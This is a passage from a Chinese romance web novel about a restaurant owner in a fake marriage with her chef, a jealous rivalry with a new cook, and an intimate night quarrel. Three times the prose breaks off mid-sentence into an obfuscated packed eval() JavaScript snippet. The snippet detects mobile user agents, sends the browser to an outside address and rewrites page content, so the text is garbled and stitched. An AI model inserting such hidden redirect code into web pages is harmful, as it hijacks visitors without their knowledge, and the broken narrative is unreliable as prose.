菜菜小声解释,脸上还带着几分讪讪,好像对自己的喜新厌旧感到愧疚,“酥酥,在我心里还是黎大哥更帅,但他已经结婚了,青方大哥没结婚,性格又风趣幽默,从来没有瞧不起我没文化,经常给我们讲笑话,和他说话很开心,你不会生我的气吧?” 难怪中午的时候,三个人在厨房里有说有笑。洛苏刚想说不介意,黎祁冷冷的声音插进来,“我从来没有瞧不起你。” 菜菜又惊又喜,呆呆看着坐在洛苏旁边的黎祁,声音都有些发抖:“真的吗,黎大哥?” 黎祁点头。还是和以前一样,似乎多说一句都嫌累。 菜菜脸红耳赤,看向黎祁的眼睛陡然亮了许多。果然还是黎大哥更帅一点。 冬瓜愁眉苦脸一言不发,洛苏发觉他的话似乎也变少了,黎祁刚来的时候他也是这样,但老字号大赛之后他明明已经恢复正常了呀。 “冬瓜,你不舒服吗?干嘛苦瓜脸?” 冬瓜抬头看了洛苏一眼,可怜兮兮的。赵青方来的时候,他原本以为来了个学徒,他终于可以摆脱厨房食物链底端的角色了,可谁想到这个新来的也是高级厨师。为什么他们考高级厨师这么容易?而且他还长得跟个女人似的,本来有个黎祁就已经衬得他平平无奇,现在更是不值一提。他觉得这个世界太不公平了!以后厨房更是没有他的立足之地了。 洛苏冲他笑笑:“打起精神来,这么多高级厨师免费给你偷师多好啊!” 赵青方和丸子端着几盘菜出来了。洛苏吸吸鼻子,挺香的,但也没有他们说的那么夸张嘛。 “糖醋排骨、清蒸大白刁、干锅花菜、锅巴牛肉、手撕包菜……”丸子热情地报菜单。 “哇,有清蒸大白刁啊!”菜菜欢呼。 “我自掏腰包,给酥酥和大厨接风洗尘。”赵青方刻意把大白刁放在洛苏面前,身子灵活地一挤,把瘦小的菜菜赶到旁边,自己坐在洛苏左侧。 黎祁看了眼大白刁,火候没问题,外形没问题,十分合格。又看看赵青方,眉清目秀,言笑晏晏,令人讨厌。 “用不着用不着,我给宝贝女儿女婿接风,我掏钱。大家趁热吃,今天也算是欢迎小赵加入宝庆楼这个大家庭,以后大家齐心协力,一起发财!” 他说到“女婿”的时候,赵青方微微挑眉,但还是默认了洛玉柱的说法,没有再强求。 满桌美味引人胃口大开,即使满腹心事也不耽误洛苏痛快干饭。这臭豆腐做的菜的确不赖,她在岛城吃了一个多星期的海鲜,嘴巴快淡出鸟了。 左边赵青方热情洋溢,不时跟她搭话,也不冷落另一旁的菜菜和丸子,这半边桌子欢声笑语不断。右边黎祁冷若冰霜,可哪怕他没说话,洛苏也知道他很不爽。连带着他旁边的冬瓜也一声不吭,默默扒饭。半张桌子的低气压。 她突然有点理解他为什么输了一次比赛就拒绝再参加比赛,就像现在,一个同样年轻同样优秀的人横空出现,饶是周瑜也忍不住诘问苍天“既生瑜何生亮?”。男人也会妒忌啊! 明天宝庆楼就要重新开业,洛苏好好洗了个热水澡,吹干头发出来已经快十点。黎祁还没睡,坐在沙发上看书,见她从洗手间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15207672|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来,默不作声放下书,掀开被子准备睡觉。 洛苏见他明明一副欲言又止的模样,要是不问清楚,今晚肯定睡不好。 “有话说?” 黎祁沉默了一会儿,冷不丁问:“你觉得赵青方做的菜怎么样?” 洛苏忍住笑,一本正经回答:“挺好吃啊,不过你是专业的,应该比我更清楚。” 黎祁的脸果然更黑了。洛苏再接再厉:“关键是他免费啊!只要他不投毒,不用白不用。” 黎祁腾地一下关了灯。 洛苏在黑暗中笑得发抖。 宝庆楼装修后重新开业果然吸引了不少老客户来捧场,一连三天都忙到晚上十点才能打烊。幸好多了赵青方,复杂的菜都由黎祁操刀,相对简单的菜他负责,效率高了不少,洛玉柱也乐得轻松。虽然两人在厨房几乎不说话,但完全没耽误干活。 冬瓜跟洛苏说起两个人在厨房的情景,笑得前仰后合。 “臭豆腐,干锅花菜。”黎祁瞟一眼菜单,开始分配任务。 冬瓜一愣,菜单什么时候多了臭豆腐这道菜? “本是同根生,相煎何太急。”赵青方也不生气,哼着小曲开始炒花菜。 冬瓜这才知道“臭豆腐”说的是赵青方。他读书的时候也学过七步诗,这么看,俩人都没错,白豆腐和臭豆腐,都是豆腐。 洛苏笑得眼泪都快出来了。她特地嘱咐冬瓜留意厨房的情况,就怕两个人王不见王,互相看不顺眼。当然,主要是黎祁看赵青方不顺眼。 打烊的时候已经快十点,洛苏累得不想吃饭,一个人坐在门口休息,她喜欢看结束一天忙碌后的街景。对许多人来说,这是一天的结束,可对于餐饮人来说,属于他们自己的一天才刚刚开始。 “喏。”一听可乐递到她眼前。 洛苏接过,扭头看,桃花眼带着笑意和淡淡的疲惫。 “扣你钱。”嘴上这么说,手上却不耽误,可乐气泡“滋滋”响,是令人快乐的声音。 “随便扣。”赵青方在洛苏身边坐下,洛苏听到手机响了一下,拿起来一看,叫道:“你有病啊,给我发红包干嘛?” “不是说要扣钱吗?我没工资你怎么扣?就从这里面扣吧,一听可乐扣五块,叫你一声‘酥酥’扣多少?”赵青方晃晃手机。 洛苏看着手机上显示的转账两千,这得扣到什么时候? “一百。” “行。”赵青方大方点头。 手机又响了。洛苏看到收到转账一万元,白他一眼:“你有钱可以做慈善,别拿我寻开心。我不收员工的贿赂。”她点了退回。除了黎祁,赵青方和大家的关系都不错,难道他给每个人这样转钱?她又不傻。 “你的意思是我可以免费叫你‘酥酥’?” “爱叫什么叫什么,不就是个代号吗?要不我叫你9527?”洛苏往旁边挪了挪,离他远了点。 赵青方身上有油烟味混合着古龙水的奇怪气味,不难闻,但是她不习惯。 “行啊,原来在酥酥心里我和风流倜傥的唐伯虎一样?”赵青方挑眉,像极了电视里吊儿郎当的纨绔。 “风流差不多,倜傥不相干。” “哈哈哈,多谢夸奖。”赵青方笑得坦然,一点也不生气。 “对了,你为什么取这个名字?你知道吗,青方就是臭豆腐。” “当然知道。”赵青方坐近一点,表情变得温柔,“说来话长,家母怀我的时候特别爱吃臭豆腐,哪天不吃就睡不着,所以我出生后就干脆给我取名‘青方’,我觉得挺好听的,你觉得呢?慈禧太后不也喜欢吃臭豆腐吗,臭豆腐只是闻起来臭,吃起来可香了。” 洛苏被他那副自卖自夸的样子逗笑了:“你知道的还挺多。” 赵青方猛地凑近,几乎是耳语般:“我还知道,你和黎祁是假结婚。” 36. 王八蛋 洛苏看着赵青方,想判断他的话是真是假。她可以确定知道她和黎祁假结婚的人不超过三个,赵青方是怎么知道的?还是他发现了什么想从自己口中诈出真相? 赵青方也看着她,眼角眉梢还带着笑意,似乎就等着看洛苏的反应,像个狡猾的狐狸。 “你要不要看看你在说什么?你一个大男人怎么还喜欢看狗血小说?你以为生活是偶像剧吗,还假结婚?你怎么不说你是哪家的大少爷出来体验生活?我反而可能信你。” 洛苏上下打量他,虽然他上身还穿着厨师服,但裤子剪裁合体,质感一流,鞋上的logo闪闪发光,好像生怕别人不知道它很贵。这是一个普通厨师能穿得起的?更遑论他那副什么都无所谓又什么都见怪不怪的悠闲做派,这是水米养出来的气质。洛苏也想知道赵青方到底是什么来历,既然他先出招那她干脆接招,以其人之道还其人之深。 赵青方哈哈大笑,“酥酥,你真聪明。” 洛苏瞪着他:“你真是出来体验生活的?” “也不算,我喜欢做饭,但是我爸妈不允许,觉得当厨师伺候人不体面,他们觉得坐在办公室里指点江山,前呼后拥才是正经工作,比如公务员什么的,但你看我是那块料吗?”赵青方很有自知之明地用大拇指点点自己。 洛苏真的想象了一下他坐在办公室里一本正经跟人交涉的模样,“赵主任您好,这是需要您签字的地方。”“小赵,去把这个复印一下。”…… 不管是颐指气使的赵青方还是唯唯诺诺端茶倒水的赵青方,都让她觉得很违和。指挥人他不适合,他没有那种令人压抑的来自上位者的压迫感,也没有那种为了五斗米折腰的隐忍卑微脾性,他亲和洒脱、幽默风趣,像一阵风,想吹到哪就吹到哪,来去自由。 她撇嘴,显然对赵青方父母关于厨师不体面的言论感到不满:“你爸妈不吃饭?” 赵青方竟然点点头:“不怎么吃。” “那他们怎么活下来的?” “你没听说过一句话吗,权力是最好的春/药,有这个还吃什么饭啊?”他勾起唇角,笑得痞痞的,但又好像不屑一顾。 “春/药”两个字让洛苏脸上一热,她若无其事继续打听:“你爸妈是领导?” “领导啥啊,自己都没活明白。” “那你来宝庆楼打工他们不会来找我们麻烦吧?”这是洛苏最关心的。她可不想招个麻烦进来。 “噗嗤”,赵青方忍不住哈哈大笑,好一会儿他才止住笑,看着洛苏的样子好像觉得她有点傻,“你是不是电视剧看多了,他们又不是□□,能找什么麻烦呀,顶多给我经济封锁,不给我钱花。” “那你还不要工资?”洛苏更好奇了。 “你就当我不是来打工的,我是花钱来上培训班的,工资就当我的学费了。怎么?免费的你还不要?那行,你给我开工资,我也不要多的,和大厨比个肩就行了。”赵青方说着,朝屋里正在吃饭的黎祁看了一眼。 黎祁恰好也在抬眼看他,两人视线在空气中噼里啪啦,然后又各自收兵。 洛苏背对着大堂,没看到他俩的交锋,“切”了一声,“你是大厨吗?” 赵青方从裤兜里掏出一个小本本,洛苏见过,那是技能资格证。 “我也是高级厨师,你可不能厚此薄彼!” 洛苏无语:“你随身携带着这东西?” 赵青方把小本本打开,举到洛苏面前强迫她看。嘴里一字一顿:“看清楚,高-级-中-式-烹-饪-师。和他一模一样,不少一个字。” 洛苏把他的资格证从眼前拍开,笑眯眯地纠正:“你少。” 赵青方不信,拿着资格证前后左右看了几遍,确信没有问题:“哪儿少了?” 洛苏站起身,居高临下看他一眼:“他是我老公,你不是。” 转身走了。 赵青方微愣一下,收起资格证,跟了上去。嘴里哼着不知名小曲,脚步轻快还踩着点,一副不到黄河不死心的泼皮模样。 黎祁一向吃得少,今天吃得更少。冬瓜好奇:“你吃这么少每天怎么有力气干活?” 黎祁看了外面一眼:“有人还不吃呢。” 菜菜咽下嘴里的饭,疑惑不解:“青方大哥做的菜很好吃啊,黎大哥你不喜欢吗?” 丸子嘴被占住没空说话,只能一直点头。 老豆察觉出不对劲,连声说:“都好吃,小黎做的好吃,小赵做的也好吃,冬瓜,你要加油啊!” 冬瓜脸一垮,好像不管说什么,最后落脚点都会变成这个。 洛玉柱和苏爱云对视一眼,觉得哪里怪怪的,但是又说不出来。 洛苏洗完澡,见黎祁已经睡下了,熟悉的背影对着她,一副生人勿近的模样,她敏感地察觉到房间里的低气压。 关灯,上床。假装没看到。 夏天快过完了,学校马上要开学,想到这样睡到自然醒的快活日子马上要结束,洛苏有点低落,她把这种心情总结为“牛马综合症”。治疗方法也很简单,不上班就行了。可洛玉柱和苏爱云跟赵青方那有权有势又势力的父母有一个共同点,认为只有体制内的工作才算正经工作,硬是不同意她回家打理宝庆楼。 赵青方今天说的话也让她隐隐担忧。 她凝神听了听,黎祁没睡着。 “喂,你睡着了吗?” 没人理她。 黎祁这副死样子一瞬间就点燃了她的怒火,她抬脚就踢了他一下,正好踢在他小腿上,她感到脚回弹一下,触感结实。 “首先,我不叫‘喂’,其次,别动手动脚。”黎祁的声音有点瓮,好像真的是被她踢醒了一样。 “又不是第一次动手动脚。”洛苏嘀咕完,又在他腿上踢了一下,旅行回来好几天,她还没招惹过他。虽然他说他不喜欢她让她又气又窘,但是他被她逗得躲不开又没办法的样子让她印象深刻,于是乐此不疲。 黎祁倏地一下坐起来,眼眸在黑暗中散发着明亮但冰冷的光。 “你就这么喜欢和男人动手动脚?” 先是王皓。但他是个明目张胆的败类,算不了什么。赵青方可不是,他是处心积虑的公子哥。不过他凑在洛苏面前又说又笑的样子,和王皓差不多,都一样令人讨厌。 洛苏也怒了,黎祁话里话外的意思还是她很随便。 “对啊!我尤其喜欢对你动手动脚。不服气?你打我啊!”洛苏的无赖劲儿彻底被他激发出来了。随便就随便,我就随便给你看了! “与我无关,你要跟别人动手动脚可以,但是请你记住一点,你结婚了。如果想给我戴帽子,是不是太着急了点?当然,我会配合你离婚,协议里面说好的,我绝不反悔。” 洛苏气得发抖,他又拿“离婚”堵她的嘴。他好像觉得自己掌握了她的死穴,只要使出这招,她就束手无策了。 那张俊脸依旧面无表情,浑身散发着寒气。绿帽子、离婚……两个词交替在洛苏脑海里跳跃,他不仅说她随便,还把她和那种水性杨花、不知廉耻的女人划上了等号。 她就算脸皮再厚,再八面玲珑,也被“绿帽子”这个词击穿了。 洛苏忍着气,声音有些轻微发抖:“什么绿帽子?” 黎祁看着她,字句清晰:“赵青方。厨艺好,还免费,比我更适合成为你的合伙人。” 黎祁吐出一口气,终于把郁结在心里好几天的话说了出来。他不是什么有钱有势的人,但是男人的尊严他还有。如果这场游戏需要他退出,那就退出,反正他也没什么可失去的。洛苏会找到比他更合格的玩伴,比如那块每天笑啊笑的臭豆腐。 明明是一张好看的脸,说出的话却难听得气死人。洛苏气得想笑,但笑不出来。她在黎祁眼里好像成了一个为达目的不择手段的人。只要厨艺好能帮她保住宝庆楼,是高是矮、是胖是瘦、是老是少似乎都不重要。 黎祁继续说:“虽然你可能无所谓,但我不能接受我的头上有黑色以外的颜色。” 洛苏不眨眼地看着他。他很少说这么多话。 婚姻对她而言是神圣的,哪怕是假结婚,她也会接受道德约束,即使没有人这么要求她,可这是她的教养和责任。 她以为黎祁应该知道她是什么样的人。可他不知道。不仅不知道,还歪曲她,诋毁她。 最难消除的就是偏见。她曾经也对他有偏见,以为他是那种街头混混,三天打鱼两天晒网,赚点钱就花天酒地挥霍一空,可相处让她知道那只是她的偏见。她承认自己看错了,不仅重新认识了他,还把自己一颗心轻易展示给他,即使他说他不要。 太愚蠢了。 她是世界上最蠢的人。 伴随着这个自毁般的念头,从来不哭的洛苏哭了。 “黎祁,你混蛋!” 黎祁单手护住头,虽然洛苏力气并不大,可俗话说乱拳打死老师傅,人在气头上的时候没轻没重,他挨了好几下。 “黎祁,你个王八蛋!”洛苏带着哭腔嘴里骂个不停,手脚并用,觉得还不解气。一口咬在他肩膀上,狠狠用力。 “嘶——”黎祁倒抽一口冷气,肩膀上的疼痛超出了他的预料。 他简直怀疑洛苏是属狗的。吵架的时候伶牙俐齿,咬人的时候牙尖嘴利。 他隔开她,“你够了啊。” 他第一次被女孩打。读书的时候不是没见过女生打架,通常都是扯头发、拽衣服,又狼狈又难看。可没见过洛苏这样的,她用的全是野路子,踢、踹、捶、撕、咬,还有肘击。他胸口还有点隐隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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近在咫尺的眼眸骤然睁大了,揽着她腰的手似乎松了松,但很快又抱得更紧,因为她也抱他更紧。 洛苏想把最后一点气撒完,牙齿在纠缠的舌上轻轻咬了一口。 黎祁痛得松开她,摸摸嘴唇:“你咬人的习惯什么时候能改改?” 洛苏不回答,又抬脚在他胸口不轻不重地踹了一下:“这违背协议吗?” 脚蓦地被圈住,他眼锋一凛:“还要打?” 洛苏冷哼一声:“你该打。” “再打我还手了。” 洛苏眼睛一亮,她倒想看看他准备怎么还手。坐起身,扒着他肩头,在另一边肩膀又咬了一口。 还觉得不过瘾,又在他胸口捣了几拳。 黎祁纹丝不动,“打完了?” 洛苏点头,好奇看着他,等着他还手。 人被推到枕头上的时候还是懵的。紧接着两个手腕朝上被他一只手锢住。 洛苏急忙用脚踢他,也不管踢不踢得着,踢的是哪。 腿也被他制住动弹不得,她已经气喘吁吁,可他好整以暇,无比轻松。 “现在轮到我了。” 他低头也在她肩头咬了一口,很轻,但牙齿触到皮肤的时候,洛苏还是抖了抖。不是痛的。那种感觉很奇怪,又太陌生。她忍不住低低“啊”了一声。 这一声像开启了什么神秘的开关。吻像雨点一样密集落下来,逃不开只能受着,任浑身被淋湿。 洛苏头发晕,感觉快要窒息。可又不想结束,抱着她肩膀的手越来越用力,也越来越滚烫,她觉得肩被他捏得疼,于是牵着他的手移开她的肩膀,去那些她觉得冷的地方。 他的手带着火,在她身上燃起一片火海。她被炙热折磨得难受,嗓子里嘤了一声,她知道他也很难受,就像一张已经拉满的弓,箭已上弦,不得不发。 他离开她的嘴唇,声音有点涩,“这,违背协议吗?”好像在问她,又好像在问自己。 洛苏气得想笑。仰头在他脖子咬了一口:“你是不是想气死我?” 该死的白豆腐,在这个关键时刻居然想的是这种事情,别说违背协议,就是明天要告她非礼今天也别想半途而废,这种事情一而再,再而三,她怕她会产生心理阴影,以后变成性/冷淡。 可黎祁还是停了下来。他脸更红了,挠挠头,坐在床边,有些懊恼又有些不好意思:“算了,没……那个。” 他这忸怩模样和刚才判若两人,洛苏奇怪:“哪个?” 黎祁不说话了。 洛苏想了想,又把施蜜的性教育课堂过了一遍,恍然大悟。 因为他们俩都没想到会有这一天,所以也没人准备避/孕套,所以也没有避/孕套。 37. 新手和老手 洛苏躺在黑暗中,坦然接受了驴包没那么好赢的事实。身心都恢复了平静,刚才被欲念占据无法思考的大脑也逐渐恢复了理智。 她第一次为自己的身体变化感到震惊。黎祁的手抚过她身体的时候,她起了一层鸡皮疙瘩,虽然紧张忐忑,但又有隐隐的期待和欢喜。老实说,她挺喜欢这种感觉。甚至希望他的手不要离开。原始的驱动让她意识到原来女性的生理欲/望也这般强大,铺天盖地而来的时候席卷了一切理性,她脑子一片空白,只想贴他更紧更近一点。 她想到大学时暧昧过的那个对象,长得高高帅帅的,打得一手好篮球,但在还没确定关系的时候,他就迫不及待把嘴伸了过来。毛手毛脚和急不可耐让他的帅气瞬间大打折扣,也让洛苏立即倒了胃口。对,像春天外面乱叫的野猫。 她并不随便,那些触碰,只有来自喜欢的人才会令她战栗。那么,如施蜜所说,她应该是喜欢黎祁的。是什么时候开始喜欢他的呢?是看到他做饭时专注认真又自信淡定的时候?还是被她逗一逗就脸红或冷脸落荒而逃的时候?洛苏所不清楚。一旦开始思考这个问题,她和黎祁之间的点点滴滴都变得清晰起来,她恍然发觉他们只认识了半年多而已,但她在他面前竟然已经放肆到这个程度了。 屋外一片宁静,夜很深了,偶尔几声虚弱的蝉鸣也在预告夏天即将远去。虽然经历了一场体力劳动,又进行了高速运转的头脑风暴,但她还是睡不着,她知道黎祁也没睡着,她不动,他也不动。房间里只有两人此起彼伏的呼吸和尴尬的气氛在扩散。 洛苏不觉得尴尬,她模样身材都不差,凭什么尴尬?况且,对喜欢的人有亲近的欲望不是很正常的么,她只惊叹于这种欲望带来的身体反应如此强烈,但并不为此感到羞耻。 不过她知道,黎祁很尴尬。因为他又背对着她,一声不吭。刚才的一切应该不在他计划之内,但是为什么突然演变成那样,大概谁都没有答案。不过,他的手游移在她身上的时候,带着明显的小心翼翼和颤抖,他紧绷的身体也暴露了他的紧张和生疏。洛苏能感觉到。 出于好心,她清清嗓子,准备开始一场经验交流。 “那个……白豆腐,你……做过?”洛苏让自己的声音尽量听起来淡定大方。 果不其然,黎祁没理她。 洛苏在朦胧中露出一抹贼兮兮的笑容。 “不然你怎么知道需要那个?”她装作懵懂继续追问。 黎祁还是没理她。 洛苏把脚伸到他那边,踢了他一下。“喂,别装死,我知道你没睡。” 黎祁没装死,也没睡着,他只是不知道该说什么,洛苏打断了他的自我检讨。他很懊恼,也很沮丧。今晚这一切的确不在他意料之中。到底出于什么动机发生了这一切?他认为自己并不是个没有自制力的人,和洛苏同处一室这么久他都克制得很好。他的想法也没有变,没有感情基础的性/爱是不道德的。他有些庆幸,幸好在最后悬崖勒马。 “嗯。”洛苏微凉柔软的触碰把他从思考中拉了回来,含糊应了一声。 洛苏腾地坐起来,扑过来按住他的肩膀,来势汹汹,“你做过?你谈过恋爱?她是谁?是什么样的人?” 问题像连珠炮一样射向黎祁。 他拨开洛苏的手,把她推远了点,洛苏身上的香气和说话喷出的热气让他不自觉又有点紧张,“做什么?谈什么恋爱?” “我刚才问你是不是做过。” 黎祁脸红了,不自在地撇开头不看洛苏,“不关你的事。” “怎么不关我的事?好歹我是你合法老婆。” “假的。”黎祁纠正她。 “切,那你刚才在干嘛?”洛苏在他脸上刮了一下。 黎祁的脸更红了,沉默了一会儿才低声说:“对不起,刚才是我冲动了。” 洛苏用脚尖蹭蹭他的小腿,声音里带着掩饰不住的笑意,“少来这套,是谁大义凛然地说什么不会和不喜欢的人上床?我没记错的话是你吧?怎么,才几天就变了?白豆腐,承认吧,你就是喜欢我。” “对不起,但刚才的确只是一场意外,我保证不会再发生。”黎祁翻身过去,声音很低,但很清晰。他确信刚才中止是对的。他们不是真的夫妻,只是各取所需的协议婚姻。他不能用假夫妻的名义去做真夫妻做的事情。而且他迟早会离开这里,协议婚姻和他的劳动合同一样,都是有期限的。 洛苏身上的香气传到他鼻子里,他忍不住屏住呼吸,想把这浓烈的气息从鼻腔和脑海里赶出去。 洛苏被他这急着撇清的态度激怒了。她不信黎祁真的一点也不喜欢她。刚才两人忘情拥吻的时候,他身上滚烫,摩挲在她背后、腰间、胸口的手火热又有力,好像要把她揉进身体里一样,这不是喜欢是什么?如果他和王皓一样,那他就不是她认识的黎祁了。 “你真的一点也不喜欢我?”洛苏的声音在夜色里听起来有些委屈和不甘。 “不喜欢。”黎祁的声音很冷静。 “这样呢?”洛苏突然抱住他,胸在他背上贴得紧紧的,脸在他背上蹭蹭,竭力感受他的温度。 黎祁一动不动。 “没感觉?那这样呢?”洛苏把他扳过来,钻进他怀里,强迫他看着自己。 黎祁看着她,目光平静深邃。 “这样呢?”洛苏扬起脖子,在他唇上亲了亲。 黎祁往后缩了缩,收回被迫搭在她腰上的手,“你没必要这样做。” 话音刚落,手就覆上了一团柔软温热的东西。 “这样也没有?”洛苏捉着他的手腕不许他移开,目光灼灼地看着他。 黎祁收回视线,洛苏的样子让他又想起了他来宝庆楼的第一天,她邀功一样捧着一碗白粥给他,急于得到他的肯定和接纳。眼神干净清澈,像个急需表扬的孩子。此刻,她做的事情很不孩子,但眼神却如出一辙。 黎祁用力抽了抽手,可她固执地不肯放开,黎祁抬头看着某个虚无点,深吸一口气,然后定定看着洛苏:“我没有结婚的打算,也不会喜欢任何人。你做这些没有意义。” 洛苏盯着他的脸,仔细辨别他说的是真是假。可他表情冷漠,眼神淡然,似乎又变回了初见时对所有人都不耐烦也不在意的模样。 洛苏感觉心被重重凿了一下,鲜血淋漓。她甩开他的手,无所谓地笑笑:“你说得对,既然是假结婚那你就别介意什么绿帽子了。毕竟我是个正常成年女性,你知道,人有些需求必须得满足,不是这里就是那里。” 黎祁愣了一下,没有说话。 洛苏也不再说话,两人各自背过身,床上似乎出现一条无形的界限,他们默契地谁都没有越界。 第二天下班后,洛苏单独把赵青方拉到角落里,想跟他谈谈。黎祁的态度改变了她原本的计划,她突然不想再跟他假装什么恩爱小夫妻了。 “臭豆腐,我警告你,别在我爸妈面前乱嚼舌头。” 赵青方哈哈大笑,摊开手,表情无辜:“酥酥,我是站在你这边的。你不让我说,我保证死都不说一个字。” 洛苏狐疑地盯着他,“你是怎么知道的?” 赵青方又笑了,“没吃过猪肉还没见过猪跑啊,真夫妻不是你们这样的。” “那是哪样?”洛苏不相信他真的能看出来。 “你看看你爸妈,那就是真夫妻,你和老黎嘛,一看就是假的。”赵青方觉得洛苏简直傻得可爱,自己漏洞百出,还以为所有人都瞎了眼。 “怎么就是假的了?”洛苏不服,她知道父母一直恩爱,哪怕各自忙着,也会不经意看一眼对方,关心对方的状况,那种相处的默契和爱意是显而易见的。她和黎祁,真的假得很明显吗? “男女之间有磁场的,尤其是恋人之间,睡过和没睡过更是不一样,说了你也不懂。”赵青方说得直白,洛苏低下头红了脸,赵青方看在眼里就是默认。 “切,说得好像你很懂一样。” “我当然懂啊,你不会以为我这么大了还没谈过恋爱吧?”赵青方指指自己,耍帅一样捋了捋头发。 “是是,你最懂!管好你的嘴!”洛苏做了个呕吐的表情,嫌弃地白他一眼,然后走了。 她当然不会天真地以为赵青方是什么善男信女,他就差在脸上贴四个字了,阅女无数。 自从和赵青方交了底,洛苏感觉他俩之间的关系好像突然就拉近了。吃饭的时候他硬是要坐她旁边,休息的时候他也总是有话没话找她唠,时不时买一堆奶茶和甜品请大家吃,但洛苏知道,请大家吃只是幌子,因为那些东西都是他们闲聊时提过的牌子。赵青方在追她,当着黎祁的面。而且她发现大家的眼神越来越奇怪,总是偷偷看看她,又小心地看看黎祁,再复杂地看看赵青方。 “我觉得他对我有意思,大家看我的眼神好像我已经红杏出墙了一样。”洛苏跟施蜜抱怨。 “新来的帅哥?要不姐姐去会一会,帮你分散一下火力?你出墙不要紧,关键是到时候真相大白你爸妈会不会扒了你的皮,假女婿还没整明白又来一个候补女婿,你爸妈得疯。” “你来,周六中午到宝庆楼吃饭,我让他们给你做几道好菜。” “行!” 周六下午一点,大堂里只有两桌食客还在吃,施蜜打扮得花枝招展就来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15246150|165810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除了赵青方,其余人都是熟人了,施蜜轻车熟路打了招呼,挑了个角落的小桌坐了。 “我要吃清蒸大白刁,锅巴牛肉、干煸藕丝。”戴着精致美甲的手指在菜单上点了几下,也不假客气。 菜菜记下菜名,笑呵呵地去厨房。 “菜菜,等会儿送你一支口红。”施蜜朝菜菜喊。 厨房里已经在收拾了。冬瓜听菜菜报完菜名就开始配菜。锅巴牛肉和干煸藕丝好说,可清蒸大白刁一向是黎祁掌勺。 他自觉看向黎祁,等他发话。 黎祁摘下帽子,双手插兜,径直出了厨房。 菜菜和冬瓜面面相觑。赵青方看好戏般坐在配菜台上笑。 “他走了。”菜菜委屈巴巴地跟洛苏汇报。 “没事,让赵青方做。”洛苏转向施蜜,“赵青方做的也好吃。” 施蜜挑眉,看着洛苏:“怎么了,吵架了?连你的面子也不给?” 洛苏见菜菜走开才低声说:“一拍两散,姑娘我不陪他玩了。” 施蜜笑得合不拢嘴,好一会儿才戳戳洛苏的肩:“认输了?那我可以选包了?” “选吧选吧!”洛苏回头,正好看到黎祁离开宝庆楼的背影。他脱了厨师服,身姿挺拔,黑色衬衫显得他孤绝又冷漠。 “啧,嘴上认输,身体还不认输,眼睛快长人身上了。”施蜜把她的脑袋扳回来。 “帅哥那么多,我干嘛非得在一棵树上吊死?”洛苏嘴硬。 “没吃过的屎都是香的。”施蜜吃了一颗花生米,话说得很糙。 两人闲扯间,赵青方端着两盘菜,摇曳生姿地走了过来,后面跟着愁眉苦脸的冬瓜。 “赵青方。”洛苏给两人介绍,“这是我死党施蜜。” 施蜜肆无忌惮地打量赵青方。赵青方却目不斜视,只礼貌地跟她点点头,然后就走了。 等他走远,施蜜激动得猛拍桌子:“哎呀,这个不错,这个不错!” 洛苏示意她低调矜持:“小声点,别影响别人吃饭。至于吗,你没见过帅哥?” 施蜜晃了晃食指,一副经验丰富的样子:“帅哥多,但这样知情识趣的不多,他一看就是老手。”她对洛苏挤挤眼,“你懂的,技巧很重要。你那个白豆腐一看就是新手,只是装得酷,你要是扑他,我估计他跑得比兔子还快。” 洛苏吃惊:“这个都看得出来?”她简直怀疑施蜜监听了她。 施蜜吐出一根鱼刺:“你没睡过不懂,他一看就是个情场浪子。” “这我也看得出来。” “越是这样的人动真格越可怕。他要是真铁了心上你这个岸,你恐怕抵挡不了。” “我跟他只认识不到一个月,他疯了?”洛苏努力回想,确信自己以前从来没见过赵青方。 “他疯没疯我不知道,但你那个白豆腐估计快疯了。毕竟没哪个男人能忍受有人明目张胆地给自己放绿光,不管你们俩是不是真的,这关乎名誉。” “他又不喜欢我,难道还不准别人喜欢我?”洛苏想到黎祁一而再、再而三地强调不喜欢她,心里就发堵。 “要不姐姐帮你,我去搞定赵青方?”施蜜吃了一块牛肉,觉得很入味又很嫩,“他做饭也好吃,估计在床上做饭也不赖。” 洛苏急得要捂她的嘴:“你给我好好吃饭吧!” 赵青方很久没在床上做饭了,晚上十点半他刚回到家,狐朋狗友的电话就来了:“来酒吧喝酒啊,我说你小子这段时间干什么呢,老是不接电话不回消息,金屋藏娇?” 赵青方走进浴室冲澡,电话开了免提:“藏你妹,我上班呢!” 朋友大吃一惊:“赵大少爷妥协了?准备回去接班了?” “接个屁,你又不是不知道,我是管理公司那块料吗?公司给我迟早倒闭,我就适合当二世祖。” “那你上啥班?” “我当厨师呢。” “我呸,平时叫你做顿饭给哥几个吃你不肯,现在跑去伺候人,你就是这么当兄弟的?” “滚,你们吃我饭吃少了?以后我只做饭给我老婆吃。你们没份了。”赵青方抹一把脸上的水,笑骂一句。 “你做得过来吗?你老婆不会要排队等饭吧?”朋友揶揄他。 “滚滚滚,你以为我是你,我从来不玩脚踩几条船,我怕得病谢谢!” 手机屏幕显示有来电。 